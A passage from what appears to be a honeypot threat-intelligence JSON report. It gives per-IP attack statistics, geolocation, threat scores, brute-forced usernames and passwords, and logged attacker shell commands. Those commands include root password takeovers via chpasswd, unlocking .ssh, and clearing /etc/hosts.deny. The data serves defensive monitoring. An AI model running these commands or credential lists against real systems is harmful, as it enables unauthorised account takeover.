      "honeypot_breakdown_30d": {
        "Cowrie": 449,
        "Suricata": 67
      }
    },
    "43.157.151.226": {
      "attack_count": 437,
      "first_seen": "2026-05-02T13:03:31.111Z",
      "last_seen": "2026-05-28T02:25:48.206Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "deployer",
        "emo",
        "steam",
        "administrador",
        "dbadmin",
        "digitalizacion",
        "ec2-user",
        "es",
        "ftptest",
        "ftpuser",
        "gitlab",
        "hadoopuser",
        "ljsoft",
        "mohammad",
        "moni",
        "n8n"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123qwe",
        "!@#$%",
        "1",
        "123123",
        "12345",
        "1234qwer",
        "1993",
        "1q2w3e4r",
        "1qaz@WSX",
        "1qazxdr5!@#",
        "Aa123456",
        "Itsemoemo2025@Washere2025",
        "Jack@123",
        "Pass@word123",
        "Passw0rd",
        "Passwd1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1993\\nwUH09OurRTJA\\nwUH09OurRTJA\\n\"|passwd",
        "echo \"Itsemoemo2025@Washere2025\\npWO87e5LV53h\\npWO87e5LV53h\\n\"|passwd",
        "echo \"Password\\nxDv3ohAWD35v\\nxDv3ohAWD35v\\n\"|passwd",
        "echo -e \"1993\\nwUH09OurRTJA\\nwUH09OurRTJA\"|passwd|bash",
        "echo -e \"Itsemoemo2025@Washere2025\\npWO87e5LV53h\\npWO87e5LV53h\"|passwd|bash",
        "echo -e \"Password\\nxDv3ohAWD35v\\nxDv3ohAWD35v\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 553,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:03:31.111000+00:00",
        "last_seen_30d": "2026-05-28T02:26:58.442000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 116
      }
    },
    "171.231.181.58": {
      "attack_count": 393,
      "first_seen": "2026-05-27T01:50:53.170Z",
      "last_seen": "2026-05-27T02:17:16.946Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftp",
        "ubnt",
        "user",
        "*****",
        "anton",
        "belkinstyle",
        "cf1c22",
        "cisco",
        "config",
        "cpanel",
        "db2inst2",
        "demo",
        "developer",
        "george",
        "guest",
        "guest1",
        "help",
        "jay"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "abc123",
        "admin",
        "*****",
        "0l0ctyQh243O63uD",
        "1111",
        "111111",
        "123",
        "1234",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "admin123",
        "alpine",
        "anton"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:50:53.170000+00:00",
        "last_seen_30d": "2026-05-27T02:18:22.740000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 393,
        "Suricata": 193
      }
    },
    "103.167.89.222": {
      "attack_count": 321,
      "first_seen": "2026-05-17T04:31:06.195Z",
      "last_seen": "2026-05-22T08:37:50.545Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "david",
        "db2inst1",
        "dinesh",
        "git",
        "mac",
        "rony",
        "rootadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111...aaa",
        "123456",
        "123@abc",
        "1974",
        "20192019",
        "Aa123456~",
        "Abc@1234",
        "Git@2024",
        "Heslo1234",
        "Jordan",
        "P@ssw0rd",
        "P@ssw0rd!@#",
        "QAZ123wsx456",
        "Zz123456",
        "`1qaz2wsx",
        "a123456A",
        "abracadabra",
        "arif123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:cvadzHigcMpq\"|chpasswd|bash",
        "echo \"root:vA6mqSLOZtg1\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 418,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:31:06.195000+00:00",
        "last_seen_30d": "2026-05-22T08:38:56.475000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 321,
        "Suricata": 97
      }
    },
    "152.32.130.144": {
      "attack_count": 288,
      "first_seen": "2026-05-06T10:21:58.166Z",
      "last_seen": "2026-05-06T11:36:16.307Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "mysql",
        "csserver",
        "developer",
        "esbuser",
        "ftpuser",
        "git",
        "mcuser",
        "postgres",
        "server",
        "servers",
        "sftp",
        "supervisor",
        "test",
        "test1",
        "ts2",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "12345",
        "123456789",
        "1qaz@wsx",
        "1qazxsw2",
        "Digitalocean1",
        "Password@123",
        "a1b2c3d4e5f6",
        "abc12345",
        "admin",
        "administrator",
        "adminpass",
        "csgoserver",
        "esbuser",
        "git11",
        "mcuser",
        "passuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"test1234\\nlTopNQqLHAIT\\nlTopNQqLHAIT\\n\"|passwd",
        "echo \"ubuntu@2020\\nVV1cFYmAVcd4\\nVV1cFYmAVcd4\\n\"|passwd",
        "echo -e \"test1234\\nlTopNQqLHAIT\\nlTopNQqLHAIT\"|passwd|bash",
        "echo -e \"ubuntu@2020\\nVV1cFYmAVcd4\\nVV1cFYmAVcd4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:21:58.166000+00:00",
        "last_seen_30d": "2026-05-06T11:37:17.338000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "213.136.68.42": {
      "attack_count": 242,
      "first_seen": "2026-05-23T23:57:22.729Z",
      "last_seen": "2026-05-24T00:34:07.240Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin1",
        "bodega",
        "erp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "123456",
        "345gs5662d34",
        "1234QWer",
        "Vps@123",
        "admin@123",
        "adminroot",
        "erp",
        "root@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nVJ9ZfBbwsc4X\\nVJ9ZfBbwsc4X\\n\"|passwd",
        "echo \"123456\\npi7GEOYo7wOi\\npi7GEOYo7wOi\\n\"|passwd",
        "echo \"root@123\\nVYq9fsZgufAv\\nVYq9fsZgufAv\\n\"|passwd",
        "echo -e \"123456\\nVJ9ZfBbwsc4X\\nVJ9ZfBbwsc4X\"|passwd|bash",
        "echo -e \"123456\\npi7GEOYo7wOi\\npi7GEOYo7wOi\"|passwd|bash",
        "echo -e \"root@123\\nVYq9fsZgufAv\\nVYq9fsZgufAv\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 276,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T23:57:22.729000+00:00",
        "last_seen_30d": "2026-05-24T00:35:10.193000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 34
      }
    },
    "119.246.15.94": {
      "attack_count": 236,
      "first_seen": "2026-05-12T22:38:12.848Z",
      "last_seen": "2026-05-13T00:35:24.161Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "112233445566",
        "19840102",
        "1q2w3e4r!Q@W#E$R",
        "2067",
        "Tiger123",
        "admin@#",
        "asdfjkl;",
        "china@2013",
        "emo123",
        "hostmaster",
        "jualan80",
        "k0nig~test",
        "orzeszek",
        "parola123",
        "qwer123$",
        "qwerty1!",
        "tutor",
        "vicky123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:S2O0Xc482J5j\"|chpasswd|bash",
        "echo \"root:dS6qrSfvhwvs\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:38:12.848000+00:00",
        "last_seen_30d": "2026-05-13T00:36:33.511000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "194.107.115.199": {
      "attack_count": 219,
      "first_seen": "2026-05-10T03:43:01.182Z",
      "last_seen": "2026-05-10T04:18:27.578Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "milad",
        "345gs5662d34",
        "abc1",
        "admin",
        "centos",
        "db2",
        "jenkins",
        "teamspeak"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123qwe./",
        "1q2w3e4r5t!@#",
        "2wsx3EDC",
        "3245gs5662d34",
        "345gs5662d34",
        "A1qwerty",
        "Admin2012",
        "Admin@123!@#",
        "As@123456",
        "Asdfg@123",
        "Ch@123456",
        "Hgl123456",
        "Letmein@123",
        "Qwert12345",
        "Root!!2026",
        "Server2012",
        "aa789456",
        "abc123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nobVj7l7FZsx7\\nobVj7l7FZsx7\\n\"|passwd",
        "echo -e \"123\\nobVj7l7FZsx7\\nobVj7l7FZsx7\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 197984,
      "as_org": "State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:43:01.182000+00:00",
        "last_seen_30d": "2026-05-10T04:19:32.553000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "196.196.150.100": {
      "attack_count": 219,
      "first_seen": "2026-05-22T05:43:31.681Z",
      "last_seen": "2026-05-22T14:35:43.091Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "es",
        "ubuntu",
        "vncuser",
        "345gs5662d34",
        "arch",
        "ardi",
        "bot",
        "debian",
        "ftptest",
        "haproxy",
        "kevin",
        "nikola",
        "postgres",
        "qi",
        "sistema",
        "super",
        "user1",
        "usman"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "12345679",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa111111",
        "Aa123456",
        "Password1234",
        "Qwerty@123",
        "Server@12",
        "Test@12345",
        "Ubuntu123!",
        "Yz123456@",
        "aa123456",
        "admin123",
        "arch",
        "ardi",
        "es123456",
        "hao123.com"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin123\\nkTGEOkZuA7fC\\nkTGEOkZuA7fC\\n\"|passwd",
        "echo -e \"admin123\\nkTGEOkZuA7fC\\nkTGEOkZuA7fC\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Valencia",
      "asn": 58065,
      "as_org": "Orion Network Limited",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T05:43:31.681000+00:00",
        "last_seen_30d": "2026-05-22T14:36:46.236000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 80
      }
    },
    "35.240.75.51": {
      "attack_count": 219,
      "first_seen": "2026-05-06T20:03:11.222Z",
      "last_seen": "2026-05-06T20:30:52.440Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "ftpuser",
        "guest",
        "sftp",
        "345gs5662d34",
        "debian",
        "fctrserver",
        "ftpadmin",
        "git",
        "gitlab",
        "oracle",
        "postgres",
        "rtest",
        "steam",
        "test",
        "test1",
        "tester",
        "ts3server"
      ],
      "passwords_attempted": [
        "12345678",
        "!1qwerty",
        "1",
        "111111",
        "12",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456",
        "Admin@123",
        "P@ssword",
        "admin",
        "admin.pass",
        "admin1234!",
        "adminn",
        "adpadmin",
        "apple123",
        "debian@2023",
        "fctrserver",
        "hduser1234567"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qwertyuiop\\nuoP4UVtbhAWa\\nuoP4UVtbhAWa\\n\"|passwd",
        "echo -e \"qwertyuiop\\nuoP4UVtbhAWa\\nuoP4UVtbhAWa\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:03:11.222000+00:00",
        "last_seen_30d": "2026-05-06T20:32:02.032000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "165.154.23.26": {
      "attack_count": 217,
      "first_seen": "2026-05-28T21:33:07.806Z",
      "last_seen": "2026-05-28T21:59:40.041Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "alex",
        "git",
        "krish",
        "rc",
        "trading",
        "tst"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234",
        "12345",
        "123qweASD!@#",
        "Lin123456",
        "admin123456",
        "fjbdfdjkdsfs541544",
        "krish",
        "qweqwe123123",
        "qwerty23",
        "r00t1234!",
        "robin123",
        "rootpass",
        "tst",
        "zxc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\ntRgLE1CD5pmf\\ntRgLE1CD5pmf\\n\"|passwd",
        "echo \"root:3Drw4vgF1SRF\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\ntRgLE1CD5pmf\\ntRgLE1CD5pmf\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T21:33:07.806000+00:00",
        "last_seen_30d": "2026-05-28T22:00:44.840000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 45
      }
    },
    "175.0.147.98": {
      "attack_count": 196,
      "first_seen": "2026-05-21T06:47:55.662Z",
      "last_seen": "2026-05-21T17:48:27.048Z",
      "sessions": 98,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:47:55.662000+00:00",
        "last_seen_30d": "2026-05-21T17:49:30.044000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 106
      }
    },
    "185.55.64.31": {
      "attack_count": 186,
      "first_seen": "2026-05-19T06:42:39.557Z",
      "last_seen": "2026-05-22T20:25:22.201Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Miedzno",
      "asn": 61154,
      "as_org": "IDHosting Sp. z o. o.",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:42:39.557000+00:00",
        "last_seen_30d": "2026-05-22T20:26:27.374000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 96
      }
    },
    "58.50.160.6": {
      "attack_count": 182,
      "first_seen": "2026-05-22T09:58:09.304Z",
      "last_seen": "2026-05-22T20:27:45.249Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
